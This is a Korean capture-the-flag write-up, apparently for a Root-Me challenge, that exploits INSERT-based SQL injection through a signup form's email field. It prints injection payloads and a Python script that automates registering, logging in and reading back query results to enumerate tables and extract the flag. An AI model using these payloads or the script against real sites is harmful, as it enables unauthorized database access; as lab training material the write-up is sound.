로그인 페이지가 있고
가입 페이지가 있다.
rootme 참조 문서를 보면 Error Base SQL Injection를 설명한 문서라 관련이 없다고 생각할 수 있지만, SQL의 다음 특징을 알 수 있다.
insert
시 값을 기입하는 곳에 상수값 대신 SQL 쿼리를 삽입할 수 있다.
insert into myTable (username, id) values((select version()),1);
위 구문 실행 후, 해당 row의 username
속성에는 select version()
의 결과값이 저장된다.
이 문제는 insert
구문을 이용한 문제이므로, 로그인페이지에서는 당연히 SQL 인젝션이 막혀있을 것이다.
가입페이지에는 아이디, 패스워드, 이메일 세 가지의 입력을 받는다.
하지만, 아이디와 패스워드에서는 쿼터입력이 제한되기 때문에 이메일 폼에서 SQL 인젝션을 시도해야 된다는 것을 알 수 있다.
이메일은 싱글쿼터로 둘러쌓여있으므로, 다음처럼 insert
문에 두 번째 행 삽입 구문을 추가하여 그 곳에 쿼리를 인젝션해야 한다.
'),('id','pw', (select version()))
결과에 데이터베이스 이름은 안나왔지만, 버전을 보고 mysql임을 알 수 있었다.
더불어 information_schema
를 활용할 수 있다는 사실도 알 수 있다.
먼저 테이블 정보를 구해야 한다.
일반적으로 다음의 쿼리를 사용한다.
select table_name from information_schema.tables where table_schema = database()
하지만 문제에서 길이제한으로 위의 쿼리는 사용할 수 없었다.
다행히 sql injectino tips 포스트에 나오는 쿼리로 가입시 사용된 쿼리를 확인하여 테이블 이름을 알 수 있었다.
'),('id','pw',(select * from information_schema.processlist))#
테이블 이름은 membres
이다.
로그인 페이지가 있다는 것은 특정 유저로 로그인을 해야 플래그 값을 얻을 수 있다는 것이다.
그래서 membres
테이블의 유저정보를 limit
를 사용하여 하나씩 모두 출력하려 했다.
'),('id','pw',(select username from membres limit 0, 1))#
하지만 쿼리에 에러가 발생했다.
로컬에서 확인해보니
Table 'myTable' is specified twice, both as a target for 'INSERT' and as a separate source for data
insert
문 안의 select
문은 insert
의 동일 테이블을 가리킬 수 없었다.
그렇다면 방법은, 의미있는 다른 테이블이 추가로 존재할 것이라고 게싱하여 모든 테이블 값을 확인하는 것이다.
이것을 Burp를 이용하여 수동으로 할 순 없었고, 파이썬 코드를 작성하였다.
for first in chars.replace('0123456789', ''):
for length in range(4, 10):
to_attempt = product(chars, repeat=length)
for attempt in to_attempt:
print '########################################################'
brute = ''.join(attempt)
if not flag_exist | flag_auto:
u_in = raw_input('sql>')
if u_in.find('auto') != -1:
flag_auto = 1
if flag_auto:
u_in = 'select table_name from information_schema.tables limit {0},1'.format(idx_table)
idx_table += 1
list_rets = []
u_id = brute
payload = "'),('{0}1','a',({1}))#".format(u_id, u_in)
datas = {'username': brute, 'password' : 'a', 'email': payload}
res = requests.post(url_reg, data=datas)
if res.text.find('logged in') != -1:
print '\n\n\n'
print 'successful subscription'
print 'id: ' + u_id+str('1')
print 'pw: ' + 'a'
flag_exist = 0
elif res.text.find('exist') != -1:
print 'user exist!!!'
flag_exist = 1
continue
else:
print 'query error!!!'
print 'parameters: ' + str(datas)
raw_input(res.text)
flag_exist = 0
continue
print '\n\n\nTrying login the user'
datas = {'username': u_id+'1', 'password' : 'a'}
res = requests.post(url_log, data=datas)
pt = re.compile('Email : .+<br />')
try:
ret = pt.findall(res.text)[0]
ret = ret.split('Email : ')[1].split('<br')[0]
print '\n\n\n'+ret
list_rets.append(ret)
except IndexError:
if flag_auto:
flag_auto = 0
raw_input('Finished finding table names!!!'+'\n' + str(list_rets))
list_rets = []
sql문만 입력하면 알아서 가입 및 로그인 후 email
값을 확인할 수 있는 코드이다.
auto_table
이라고 입력시 모든 테이블 값을 구하여 출력해준다.
successful subscription
id: aaaaaab21
pw: a
Trying login the user
Finished finding table names!!!
[u'COLUMN_PRIVILEGES', u'ENGINES', u'EVENTS', u'FILES', u'GLOBAL_STATUS', u'GLOBAL_VARIABLES', u'KEY_COLUMN_USAGE', u'OPTIMIZER_TRACE', u'PARAMETERS', u'PARTITIONS', u'PLUGINS', u'PROCESSLIST', u'PROFILING', u'REFERENTIAL_CONSTRAINTS', u'ROUTINES', u'SCHEMATA', u'SCHEMA_PRIVILEGES', u'SESSION_STATUS', u'SESSION_VARIABLES', u'STATISTICS', u'TABLES', u'TABLESPACES', u'TABLE_CONSTRAINTS', u'TRIGGERS', u'USER_PRIVILEGES', u'VIEWS', u'INNODB_LOCKS', u'INNODB_TRX', u'INNODB_SYS_DATAFILES', u'INNODB_FT_CONFIG', u'INNODB_SYS_VIRTUAL', u'INNODB_CMP', u'INNODB_FT_BEING_DELETED', u'INNODB_CMP_PER_INDEX', u'INNODB_CMPMEM_RESET', u'INNODB_FT_DELETED', u'INNODB_BUFFER_PAGE_LRU', u'INNODB_LOCK_WAITS', u'INNODB_TEMP_TABLE_INFO', u'INNODB_SYS_INDEXES', u'INNODB_SYS_TABLES', u'INNODB_SYS_FIELDS', u'INNODB_CMP_PER_INDEX_RESET', u'INNODB_BUFFER_PAGE', u'INNODB_FT_DEFAULT_STOPWORD', u'INNODB_FT_INDEX_TABLE', u'INNODB_FT_INDEX_CACHE', u'INNODB_SYS_TABLESPACES', u'INNODB_METRICS', u'INNODB_SYS_FOREIGN_COLS', u'INNODB_CMPMEM', u'INNODB_BUFFER_POOL_STATS', u'INNODB_SYS_COLUMNS', u'INNODB_SYS_FOREIGN', u'INNODB_SYS_TABLESTATS', u'flag', u'membres']
########################################################
테이블 이름이 flag
인 테이블이 존재했다.
해당 테이블을 조회하여 플래그 값을 얻을 수 있었다.
sql>select flag from flag
user exist!!!
########################################################
user exist!!!
########################################################
user exist!!!
########################################################
user exist!!!
########################################################
successful subscription
id: aaad1
pw: a
Trying login the user
flag is : ------------------------
########################################################
※속성명 역시 flag
로 검색한 것은 게싱이다.※